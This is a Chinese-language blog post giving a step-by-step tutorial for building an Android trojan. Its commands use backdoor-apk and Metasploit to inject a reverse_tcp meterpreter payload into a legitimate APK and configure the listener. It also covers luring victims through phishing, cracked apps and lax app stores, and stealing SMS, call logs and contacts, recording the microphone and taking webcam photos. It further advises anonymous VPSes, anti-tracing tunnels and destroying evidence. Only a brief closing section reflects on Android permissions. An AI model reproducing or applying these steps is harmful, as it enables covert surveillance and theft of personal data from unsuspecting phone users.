tinytracer

  • 实践
    • CTF
    • 项目实践
  • 技术
    • C++
    • 逆向与汇编
    • 区块链安全
  • 探索
    • OWASP汉化
    • SQL
    • Kali
TinyTracer
In solitude, where we were at least alone.
  1. 首页
  2. 实践
  3. 项目实践
  4. 正文

沙丁鱼也能读懂的安卓木马制作教程

2018年3月14日 9999点热度 4人点赞 0条评论

前期准备

  • 如果使用的是kali linux则跳过该步骤
  • 如果只是在局域网内玩玩可以用虚拟机执行前两步
  • 划线部分沙丁鱼退避

msf框架

  • 如果硬盘空间富余,推荐安装Kali工具集Katoolin,其中包含msf框架及其相应的环境。安装教程参考Ubuntu安装Kali工具集:Katoolin
  • 如果硬盘空间捉急,直接下载msf框架的安装脚本和最小依赖,安装教程参考
    Centos6.5安装Metasploit记录
  • 安装完后在终端运行 msfconsole 测试 当然最好是调用一下handler exploit来测试监听功能

反编译环境

  • JAVA
  • dex2jar
  • apktool
  • 可以直接执行后面的制作步骤,在反编译时提示确实缺失哪些组件直接装就行了简单方便

VPS

  • 一般而言,自家或者校园网是没有公网IP的,即外网环境下木马返回的数据传输不到本机。这时需要使用具有公网IP的VPS(如TX云等)来执行监听的操作
  • 推荐国外没备案不用身份验证的,玩脱了好跑路

backdoor-apk

  • backdoor-apk是一个将木马程序的生成与植入过程打包简化的一个脚本
  • github: backdoor-apk

APK

  • 被植入的文件,各大安卓应用市场有售下载

制作过程

  • 使用 ifconfig 命令查看本机IP
  • 切换到backdoor-apk目录,执行
sudo chmod +x ./backdoor-apk.sh //给脚本赋予权限
./backdoor-apk.sh 目标apk //如./backdoor-apk.sh 2048.apk
  • 接下来会显示反弹方式的选择,选3 因为其他我没试过

  • 跟着是目标IP的设置,这里输入之前查看的本机IP

  • 然后是监听端口的设置,非常用端口就行,如8888、6666等随机四位数 当然可以设置80、443、22之类的作死

  • 最后是应用程序安装时申请的权限,选2以获取足够的权限来执行木马功能 然而注入某些毒瘤应用选1都没问题

  • 按下回车开始制作,待程序执行完毕后,生成的APK在 backdoor-apk/original/dist 目录下

诱导安装

  • 使用ettercap+伪造界面来诱导 小白 用户下载
  • 上架审核不严格的软件商店
  • 植入比较热门的APK
  • XX破解版

监控端的配置

  • 在他人下载被感染的APK并打开时,会向目标IP持续发送数据包。需要在监控端配置msf框架并打开相应的端口,接收数据并控制目标手机
  • 首先运行 msfconsole 启动msf框架,启动完成后终端前缀变为 msf>
  • 依次执行
use exploit/multi/handler                      //选定攻击模块
set payload android/meterpreter/reverse_tcp    //选定攻击载荷,该项与制作时选定的载荷必须一致
  • 使用 options 来查看攻击载荷的设置项

    在这个载荷中,LHOST与LPORT的值需要设置为制作过程中预置的值 差不多每个载荷都这样

  • 修改载荷值的操作为 set 项目名称 项目值,如

set LHOST 8.8.8.8
set LPORT 44

设置完后再次执行 options 来确认载荷是否配置正确

  • 配置完后,执行 exploit -j -z启动模块 等鱼上钩

控制

  • 当受害者打开被感染的APK时,连接建立,此时msf会提示会话开启

  • 执行 sessions -i 1 切换到第一个会话,此时可以随心所欲 猥琐欲为,如:

    • sysinfo 获取系统信息
    • dump_sms 获取短信记录
    • dump_calllog 获取通话记录
    • dump_contacts 获取通讯录
    • record_mic 手机录音
    • webcam_snap 偷拍
    • 当然还有人民群众喜闻乐见的 shell get shell
    • 更多精彩参见 help

思考

感染目标

  • 木马所实现的功能基于在安装时赋予的权限,即使在root环境下也无法获得root shell,由于沙箱机制,在shell中所能做到的也极为有限(甚至无法访问应用文件夹外的目录)。因此,能否通过升级安装的方式替换系统应用获取到更高的权限?

权限管理

  • 这是国内热门应用申请的权限 google play版本,非国内毒瘤

  • 而这是被植入木马的APK申请的权限

  • 电话、短信、通讯录、摄像头、麦克风,不否认软件“能力越大,权力越大”,但木马能做到的事情,这些软件在权限这一层面上也可以做到。作为软件的使用者,在无法接触源码的情况下我们无法判定“权力”是否被滥用

  • 作为用户我们可以对软件的权限进行限制,但这些只是大的方面

    而单单一个“短信”就可以分为“发送、接收和读取”,在网络方面没有权限控制,查看详情时却发现它在为所欲为

    在禁用应用权限后有可能无事发生,但也有可能被应用“友好地”警告甚至直接闪退,安卓对于权限的控制太宽泛了。或许在上图每个项目后面加个开关能有所改善?仅限开发者模式

  • 存在连接不稳定的情况,监听机为TX云时链接稳定不掉线,而使用BWH时稳定30s掉线且功能受限。推测原因可能是

    • BWH配置不足,512M内存不足以负荷监听模块(free命令查看内存剩余100+M)
    • 使用最小安装的方式,缺少相应组件(msf运行未报错)
    • msf与数据库未连接(TX云亦未连接)

改进

  • 使用ssh隧道,用BWH的VPS作为跳板,再传入TX云反追踪。参考
    SSH隧道简洁介绍以及SSH隧道实际应用
  • 编写msf脚本自动化处理每个会话,获取资料后及时断线并隐藏安装应用销毁证据
  • 改写木马生成的脚本,将行为变为发送包含资料的邮件至BWH的VPS
标签: 安卓 木马
最后更新:2019年2月3日

Chernobyl

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据。

COPYRIGHT © 2021 tinytracer.com. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang